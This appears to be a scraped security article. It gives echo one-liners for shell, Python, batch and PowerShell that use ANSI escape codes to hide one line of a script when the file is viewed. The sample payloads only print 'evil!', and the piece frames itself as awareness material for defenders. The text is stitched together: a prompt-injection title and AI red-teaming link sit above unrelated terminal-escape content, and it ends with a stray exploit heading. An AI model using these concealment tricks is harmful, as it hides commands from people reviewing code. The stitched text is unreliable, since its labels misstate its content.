20 Prompt Injection Techniques

Anatomy of Prompt Injection Vulnerabilities

Prompt Injection Techniques github

https://github.com/detoxio-ai/ai-red-teaming-training

Shell script escape injection

  echo -e '#!/bin/sh\n\necho "evil!"\nexit 0\n\033[2Aecho "Hello World!"\n' > script.sh
 chmod a+x script.sh

The resulting script.sh will then work on (has been tested on):

 Linux (gnome-terminal, xterm, aterm)
 Mac OS (Terminal 2.0, iTerm2)
 Cygwin (Windows)

Python script escape injection

     echo -e '#!/usr/bin/python\n\nprint "evil!";\nexit(0);\n#\033[2A\033[1Dprint "Hello World!";\n' > script.py
   chmod a+x script.py

The resulting script.py will then work on (has been tested on):

Linux (gnome-terminal, xterm, aterm)
Mac OS (Terminal 2.0, iTerm2)
Cygwin (Windows)

Batch (Command Prompt) escape injection

     echo -e '@echo off\n\r\n\recho evil!\r\n::\033[2D  \033[A\033[2Decho Hello World!' > script.bat

The resulting script.bat will then work on (has been tested on):

Windows 10 PowerShell
Windows 10 Command Prompt

PS1 (PowerShell) escape injection

      echo -e 'write-host "evil!"\r\n#\033[A\033[2Dwrite-host "Hello World!"' > script.ps1

The resulting script.ps1 will then work on (has been tested on):

Windows 10 PowerShell
Windows 10 Command Prompt

Conclusion

As we have seen in this article, terminal escape injections affect practically every modern operating system environment and they can be really nasty.

As infosec professionals, we should know about them and keep our guards up when it matters. Hopefully this article provided enough information to stay safe.

Please feel free to let us know in the comment section your thoughts.

GNU bash Environment Variable Command Injection (MSF)